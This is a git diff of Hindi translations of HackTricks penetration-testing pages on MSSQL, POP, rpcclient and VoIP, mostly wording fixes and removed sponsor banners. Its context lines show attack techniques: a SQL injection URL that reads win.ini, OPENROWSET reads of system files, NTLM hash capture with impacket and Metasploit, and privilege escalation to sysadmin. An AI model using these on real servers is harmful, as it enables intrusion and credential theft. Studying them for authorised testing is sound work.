पोर्ट:** 1433 ``` @@ -37,8 +29,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): * **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है। * **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है। -* **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहां आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है। -* **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत किए जाते हैं। +* **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है। +* **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं। * **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है। ## Enumeration @@ -105,7 +97,7 @@ sqsh -S -U .\\ -P -D 1> select 1; 2> go ``` -#### सामान्य सूचीकरण +#### सामान्य एन्यूमरेशन ```sql # Get version select @@version; @@ -160,7 +152,7 @@ SELECT * FROM sysusers 1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है: * **सर्वर** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं। -* **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, एप्लिकेशन भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं। +* **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं। * **स्कीमा** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं। 2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है: * **सर्वर स्तर** लॉगिन का उपयोग करके @@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} -आप यह जांच सकते हैं कि कौन (sysadmins के अलावा) उन MSSQL फ़ंक्शनों को चलाने की अनुमति रखता है: +आप यह जांच सकते हैं कि कौन (सिस्टम प्रशासकों के अलावा) उन MSSQL कार्यों को चलाने की अनुमति रखता है: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; @@ -256,7 +248,7 @@ EXEC sp_helprotect 'xp_fileexist'; ### MSSQL ट्रस्टेड लिंक का दुरुपयोग -[**इस पोस्ट को पढ़ें**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस फीचर का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:** +[**इस पोस्ट को पढ़ें**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस फीचर के दुरुपयोग के बारे में अधिक जानकारी के लिए:** {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) @@ -284,7 +276,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **फाइल पढ़ें** OPENROWSET के साथ -डिफ़ॉल्ट रूप से, `MSSQL` फाइल **पढ़ने की अनुमति देता है किसी भी फाइल पर ऑपरेटिंग सिस्टम में जिसे खाते के पास पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं: +डिफ़ॉल्ट रूप से, `MSSQL` किसी भी फ़ाइल पर **पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -297,9 +289,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)** +### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)** -MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड **xp\_cmdshell** का उपयोग करके कमांड चलाने वाले **विभिन्न उपयोगकर्ता** द्वारा चलाए जाएंगे। +MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp\_cmdshell** का उपयोग करके कमांड्स चलाने वाले से भिन्न है। Example trying to execute a **'R'** _"Hellow World!"_ **काम नहीं कर रहा**: @@ -319,11 +311,11 @@ print(sys.version) ' GO ``` -### रजिस्ट्रि पढ़ें +### रजिस्ट्र्री पढ़ें -Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ बातचीत करने की अनुमति देती हैं:** +Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ इंटरैक्ट करने की अनुमति देती हैं:** -| **सामान्य** | **इंस्टेंस-जानकारी** | +| **नियमित** | **इंस्टेंस-जानकारी** | | ---------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | @@ -360,7 +352,7 @@ For **more examples** check out the [**original source**](https://blog.wayneshef ### From db\_owner to sysadmin -यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** भूमिका दी जाती है **एक डेटाबेस पर जो एक admin** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व में है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है। +यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** भूमिका दी जाती है **एक डेटाबेस पर जो एक admin** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व में है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **स्वामी** (**admin**) के रूप में **execute** किया जा सकता है। ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -450,32 +442,32 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` -## MSSQL का उपयोग करना स्थिरता के लिए +## MSSQL का उपयोग स्थिरता के लिए [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## SQL Server Linked Servers से पासवर्ड निकालना +## SQL सर्वर लिंक्ड सर्वरों से पासवर्ड निकालना -एक हमलावर SQL Server Linked Servers के पासवर्ड को SQL Instances से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। Linked Servers के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहाँ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) मिल सकती है। +एक हमलावर SQL सर्वर लिंक्ड सर्वरों के पासवर्ड को SQL इंस्टेंस से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। लिंक्ड सर्वरों के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहाँ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) मिल सकती है। -इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होना चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए। +इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होना चाहिए, या SQL सर्वर कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए। अपने अनुमतियों को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं: -1. SQL Server इंस्टेंस पर TCP/IP सक्षम करें; +1. SQL सर्वर इंस्टेंस पर TCP/IP सक्षम करें; 2. एक स्टार्ट अप पैरामीटर जोड़ें, इस मामले में, एक ट्रेस फ्लैग जोड़ा जाएगा, जो -T7806 है। 3. दूरस्थ व्यवस्थापक कनेक्शन सक्षम करें। -इन कॉन्फ़िगरेशनों को स्वचालित करने के लिए, [यह रिपॉजिटरी](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) आवश्यक स्क्रिप्ट रखती है। प्रत्येक कॉन्फ़िगरेशन के चरण के लिए एक पावरशेल स्क्रिप्ट होने के अलावा, रिपॉजिटरी में एक पूर्ण स्क्रिप्ट भी है जो कॉन्फ़िगरेशन स्क्रिप्ट और पासवर्ड के निष्कर्षण और डिक्रिप्शन को संयोजित करती है। +इन कॉन्फ़िगरेशनों को स्वचालित करने के लिए, [यह रिपॉजिटरी](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) आवश्यक स्क्रिप्ट रखती है। प्रत्येक कॉन्फ़िगरेशन के चरण के लिए एक पॉवरशेल स्क्रिप्ट होने के अलावा, रिपॉजिटरी में एक पूर्ण स्क्रिप्ट भी है जो कॉन्फ़िगरेशन स्क्रिप्ट और पासवर्ड के निष्कर्षण और डिक्रिप्शन को संयोजित करती है। -इस हमले के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक देखें: [MSSQL डेटाबेस लिंक सर्वर पासवर्ड डिक्रिप्ट करना](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +इस हमले के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक देखें: [MSSQL डेटाबेस लिंक सर्वर पासवर्ड का डिक्रिप्शन](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[SQL Server समर्पित व्यवस्थापक कनेक्शन की समस्या निवारण](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[SQL सर्वर समर्पित व्यवस्थापक कनेक्शन की समस्या निवारण](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## स्थानीय विशेषाधिकार वृद्धि MSSQL सर्वर चलाने वाला उपयोगकर्ता विशेषाधिकार टोकन **SeImpersonatePrivilege** सक्षम करेगा।\ -आप शायद इनमें से एक 2 पृष्ठों का पालन करके **व्यवस्थापक में वृद्धि** कर सकेंगे: +आप शायद इन 2 पृष्ठों में से एक का पालन करते हुए **व्यवस्थापक में वृद्धि** करने में सक्षम होंगे: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) @@ -497,15 +489,9 @@ MSSQL सर्वर चलाने वाला उपयोगकर्त * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** +* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## HackTricks स्वचालित आदेश ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. @@ -571,8 +557,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index 156f39af8..5aeb52532 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -15,17 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## Basic Information -**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक प्रचलित संस्करण के रूप में खड़ा है। +**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग किए जाने वाले संस्करण के रूप में खड़ा है। **डिफ़ॉल्ट पोर्ट:** 110, 995(ssl) ``` @@ -99,16 +92,11 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha | **Setting** | **Description** | | ------------------------- | ----------------------------------------------------------------------------------------- | | `auth_debug` | सभी प्रमाणीकरण डिबग लॉगिंग सक्षम करता है। | -| `auth_debug_passwords` | यह सेटिंग लॉग verbosity, प्रस्तुत पासवर्ड और स्कीम को लॉग करती है। | +| `auth_debug_passwords` | यह सेटिंग लॉग की verbosity, प्रस्तुत पासवर्ड और योजना को लॉग करती है। | | `auth_verbose` | असफल प्रमाणीकरण प्रयासों और उनके कारणों को लॉग करता है। | | `auth_verbose_passwords` | प्रमाणीकरण के लिए उपयोग किए गए पासवर्ड लॉग किए जाते हैं और इन्हें संक्षिप्त भी किया जा सकता है। | | `auth_anonymous_username` | यह ANONYMOUS SASL तंत्र के साथ लॉगिन करते समय उपयोग किए जाने वाले उपयोगकर्ता नाम को निर्दिष्ट करता है। | -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} ## HackTricks Automatic Commands ``` diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 0fb5022d8..0b0dbce59 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Relative Identifiers (RID) और Security Identifiers (SID) का अवलोकन **Relative Identifiers (RID)** और **Security Identifiers (SID)** Windows ऑपरेटिंग सिस्टम में नेटवर्क डोमेन के भीतर उपयोगकर्ताओं और समूहों जैसे ऑब्जेक्ट्स की अद्वितीय पहचान और प्रबंधन के लिए प्रमुख घटक हैं। @@ -34,7 +26,7 @@ Learn & practice GCP Hacking: `. * **अधिक SIDs** के माध्यम से: `lsaenumsid`. -* **अधिक SIDs की जांच के लिए RID चक्रण** किया जाता है: `lookupsids `. +* **अधिक SIDs की जांच के लिए RID साइक्लिंग** किया जाता है: `lookupsids `. -#### **अतिरिक्त आदेश** +#### **अतिरिक्त कमांड** -| **आदेश** | **इंटरफेस** | **विवरण** | +| **कमांड** | **इंटरफेस** | **विवरण** | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | | queryuser | SAMR | उपयोगकर्ता जानकारी प्राप्त करें | | querygroup | समूह की जानकारी प्राप्त करें | | @@ -95,19 +87,13 @@ done | createdomuser | एक डोमेन उपयोगकर्ता बनाएं | | | deletedomuser | एक डोमेन उपयोगकर्ता हटाएं | | | lookupnames | LSARPC | उपयोगकर्ता नामों को SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) मानों के लिए देखें | -| lookupsids | उपयोगकर्ता नामों के लिए SIDs देखें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) चक्रण) | | +| lookupsids | उपयोगकर्ता नामों के लिए SIDs देखें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) साइक्लिंग) | | | lsaaddacctrights | एक उपयोगकर्ता खाते में अधिकार जोड़ें | | | lsaremoveacctrights | एक उपयोगकर्ता खाते से अधिकार हटाएं | | | dsroledominfo | LSARPC-DS | प्राथमिक डोमेन की जानकारी प्राप्त करें | -| dsenumdomtrusts | एक AD वन के भीतर विश्वसनीय डोमेन की गणना करें | | +| dsenumdomtrusts | एक AD वन में विश्वसनीय डोमेनों की गणना करें | | -**समझने के लिए** कि उपकरण _**samrdump**_ **और** _**rpcdump**_ कैसे काम करते हैं, आपको [**Pentesting MSRPC**](../135-pentesting-msrpc.md) पढ़ना चाहिए। - -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} +**समझने** के लिए कि उपकरण _**samrdump**_ **और** _**rpcdump**_ कैसे काम करते हैं, आपको [**Pentesting MSRPC**](../135-pentesting-msrpc.md) पढ़ना चाहिए। {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -117,8 +103,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index 1771e792b..9aa78b589 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -16,20 +16,6 @@ Learn & practice GCP Hacking:
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ## Signaling Protocols ### SIP (Session Initiation Protocol) @@ -42,97 +28,86 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार ### MGCP (Media Gateway Control Protocol) -MGCP (Media Gateway Control Protocol) एक **सिग्नलिंग** और **कॉल** **नियंत्रण प्रोटोकॉल** है जो RFC 3435 में वर्णित है। यह एक केंद्रीकृत आर्किटेक्चर में कार्य करता है, जिसमें तीन मुख्य घटक होते हैं: +MGCP (Media Gateway Control Protocol) एक **signaling** और **call** **control protocol** है जो RFC 3435 में वर्णित है। यह एक केंद्रीकृत आर्किटेक्चर में कार्य करता है, जिसमें तीन मुख्य घटक होते हैं: -1. **कॉल एजेंट या मीडिया गेटवे नियंत्रक (MGC)**: MGCP आर्किटेक्चर में मुख्य गेटवे मीडिया गेटवे का **प्रबंधन और नियंत्रण** करने के लिए जिम्मेदार है। यह कॉल सेटअप, संशोधन और समाप्ति प्रक्रियाओं को संभालता है। MGC मीडिया गेटवे के साथ MGCP प्रोटोकॉल का उपयोग करके संवाद करता है। -2. **मीडिया गेटवे (MGs) या स्लेव गेटवे**: ये उपकरण **विभिन्न नेटवर्कों के बीच डिजिटल मीडिया स्ट्रीम को परिवर्तित** करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इन्हें MGC द्वारा प्रबंधित किया जाता है और यह उससे प्राप्त आदेशों को निष्पादित करते हैं। मीडिया गेटवे में ट्रांसकोडिंग, पैकेटाइजेशन, और इको रद्द करने जैसी कार्यक्षमताएँ शामिल हो सकती हैं। -3. **सिग्नलिंग गेटवे (SGs)**: ये गेटवे **विभिन्न नेटवर्कों के बीच सिग्नलिंग संदेशों को परिवर्तित** करने के लिए जिम्मेदार होते हैं, जिससे पारंपरिक टेलीफोनी सिस्टम (जैसे, SS7) और IP-आधारित नेटवर्क (जैसे, SIP या H.323) के बीच निर्बाध संचार संभव होता है। सिग्नलिंग गेटवे इंटरऑपरेबिलिटी के लिए महत्वपूर्ण हैं और यह सुनिश्चित करते हैं कि कॉल नियंत्रण जानकारी विभिन्न नेटवर्कों के बीच सही तरीके से संप्रेषित हो। +1. **Call Agent या Media Gateway Controller (MGC)**: MGCP आर्किटेक्चर में मुख्य गेटवे **मीडिया गेटवे** का **प्रबंधन और नियंत्रण** करने के लिए जिम्मेदार है। यह कॉल सेटअप, संशोधन और समाप्ति प्रक्रियाओं को संभालता है। MGC मीडिया गेटवे के साथ MGCP प्रोटोकॉल का उपयोग करके संवाद करता है। +2. **Media Gateways (MGs) या Slave Gateways**: ये उपकरण **विभिन्न नेटवर्कों के बीच डिजिटल मीडिया स्ट्रीम को परिवर्तित** करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इन्हें MGC द्वारा प्रबंधित किया जाता है और यह उससे प्राप्त आदेशों को निष्पादित करते हैं। मीडिया गेटवे में ट्रांसकोडिंग, पैकेटाइजेशन, और इको रद्द करने जैसी कार्यक्षमताएँ शामिल हो सकती हैं। +3. **Signaling Gateways (SGs)**: ये गेटवे **विभिन्न नेटवर्कों के बीच signaling संदेशों को परिवर्तित** करने के लिए जिम्मेदार होते हैं, पारंपरिक टेलीफोनी सिस्टम (जैसे, SS7) और IP-आधारित नेटवर्क (जैसे, SIP या H.323) के बीच निर्बाध संचार सक्षम करते हैं। signaling गेटवे इंटरऑपरेबिलिटी के लिए महत्वपूर्ण हैं और यह सुनिश्चित करते हैं कि कॉल नियंत्रण जानकारी विभिन्न नेटवर्कों के बीच सही तरीके से संप्रेषित हो। -संक्षेप में, MGCP कॉल एजेंट में कॉल नियंत्रण तर्क को केंद्रीकृत करता है, जो मीडिया और सिग्नलिंग गेटवे के प्रबंधन को सरल बनाता है, दूरसंचार नेटवर्क में बेहतर स्केलेबिलिटी, विश्वसनीयता, और दक्षता प्रदान करता है। +संक्षेप में, MGCP कॉल एजेंट में कॉल नियंत्रण तर्क को केंद्रीकृत करता है, जो मीडिया और signaling गेटवे के प्रबंधन को सरल बनाता है, दूरसंचार नेटवर्क में बेहतर स्केलेबिलिटी, विश्वसनीयता, और दक्षता प्रदान करता है। ### SCCP (Skinny Client Control Protocol) -Skinny Client Control Protocol (SCCP) एक **स्वामित्व सिग्नलिंग और कॉल नियंत्रण प्रोटोकॉल** है जो Cisco Systems के स्वामित्व में है। इसका मुख्य रूप से **Cisco Unified Communications Manager** (जिसे पहले CallManager के नाम से जाना जाता था) और Cisco IP फोन या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स के बीच संचार के लिए **उपयोग** किया जाता है। +Skinny Client Control Protocol (SCCP) एक **स्वामित्व वाला signaling और call control protocol** है जो Cisco Systems के पास है। इसका मुख्य रूप से **Cisco Unified Communications Manager** (जिसे पहले CallManager के नाम से जाना जाता था) और Cisco IP फोन या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स के बीच संचार के लिए **उपयोग** किया जाता है। SCCP एक हल्का प्रोटोकॉल है जो कॉल नियंत्रण सर्वर और एंडपॉइंट उपकरणों के बीच 